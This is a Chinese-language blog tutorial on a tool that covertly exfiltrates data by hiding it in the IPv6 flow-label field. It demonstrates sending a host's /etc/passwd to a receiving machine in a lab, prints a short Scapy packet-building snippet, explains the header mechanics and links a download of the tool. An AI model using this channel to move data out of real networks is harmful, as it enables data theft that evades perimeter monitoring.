网络安全

使用 IPV6 流标签进行隐蔽的数据渗透

2019-08-27  本文已影响0人  城市烈人

IPv6报文新增加了一个流标签

流标签技术在IPV6中的用途有:

(1)提高了中间路由器处理包的速度。

(2)提供了QoS需求,并支持实时服务的业务数据流。

但流标签也存在一些安全问题,如数据渗透,payload后门,Dos等

配置:

虚拟机vmware中开启IPv6支持


image.png
hunt(inet6):  fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
kali(inet6):  fd15:4ba5:5a2b:1008:20c:29ff:fe70:6427

均需要scapy和cairocffi

pip3 install -r requirements.txt
pip3 install cairocffi

测试过程

kali将自身的/etc/passwd 数据通过该工具传输到hunt上

kali操作:

参数解释:

python3 exfiltrate.py 待传输文件 目标机IPv6地址

eg:

python3 exfiltrate.py /etc/passwd fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
image.png

hunt接收操作:

参数解释:

python3 receive.py 保存的文件名

eg:

python3 receive.py kali-passwd
image.png

该地址证实是kali的IPv6地址

查看kali-passwd

image.png

接收成功

机制分析

IPv6是英文“Internet Protocol Version 6”(互联网协议第6版)的缩写,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议,其地址数量号称可以为全世界的每一粒沙子编上一个地址 。

IPv6的地址长度为128位,是IPv4地址长度的4倍 。

IPv6报文内容

IPv6报文的整体结构分为IPv6报头扩展报头上层协议数据3部分。IPv6报头是必选报文头部,长度固定为40B,包含该报文的基本信息;扩展报头是可选报头,可能存在0个、1个或多个,IPv6协议通过扩展报头实现各种丰富的功能;上层协议数据是该IPv6报文携带的上层数据,可能是ICMPv6报文、TCP报文、UDP报文或其他可能报文。

IPv6的报文头部结构如图:

image.png
流标签 用来标识同一个流里面的报文

该工具进行隐蔽的数据渗透正是利用了 20比特(12-31)的流标签

Flow Label(流标签)是IPv6中新增的头部结构

作用是:

流标签可用来标记特定流的报文,以便在网络层区分不同的报文。转发路径上的路由器可以根据流标签来区分流并进行处理。由于流标签在IPv6报文头中携带,转发路由器可以不必根据报文内容来识别不同的流,目的节点也同样可以根据流标签识别流,同时由于流标签在报文头中,因此使用IPSec后仍然可以根据流标签进行QoS处理。

所以,

可以将该字段设置为任意值,而不会影响数据包传递到其目标。

因此,我们可以通过在此字段中存储数据来构建隐蔽信道。

exfiltration脚本每20比特数据发送1个IPv6数据包

receiver脚本通过读取该字段重建数据


该工具主要作用在于,在企业边界网络中,已经阻止了ICMP报文,如果想将数据隐藏在报文的数据字段中进行传输,也可能分析IPv6/ICMPv6数据包中的字段,很可能无法对外连接通讯。

但目前来说仍有局限性

1、速度慢

虽然发送的数据是使用GZIP压缩的,但速度非常慢。通过网络发送的每包才包含20比特的数据,无法传输大文件。

2、传输不加密

如果你要传输敏感数据,可以在数据提供给传输端之前对数据进行加密。

3、超时不重传

可以自定义增加exfiltration脚本的packet-sending的值:

image.png

默认情况下为10毫秒,每个新数据包在发送之前会等待10毫秒。

代码分析

该工具的传输端exfiltrate.py 主要是三个函数

image.png

重点在第三个函数 send

重要代码分析

image.png
# Build the IPv6 packet to send
ipv6_layer = IPv6(dst=self.destination, fl=payload_int)
raw_layer = Raw(load=self.MAGIC_VALUE + "_" + str(num_bits_to_send) + "_" + str(seq))
pkt = ipv6_layer / raw_layer

每个IPv6数据包发送的payload包含一个魔术值(magic value)以及一个序列号

所以,接收端可以确定哪些IPv6分组与其相关并进行解码。

总结

该工具可扩展性强,后续可自行开发,不局限于数据渗透,流标签还可以用于payload后门,Dos等

工具下载百度云下载
链接:https://pan.baidu.com/s/1OcxeQf2iNkk__X_49BVJ3A
提取码:v4dj

上一篇下一篇

猜你喜欢

热点阅读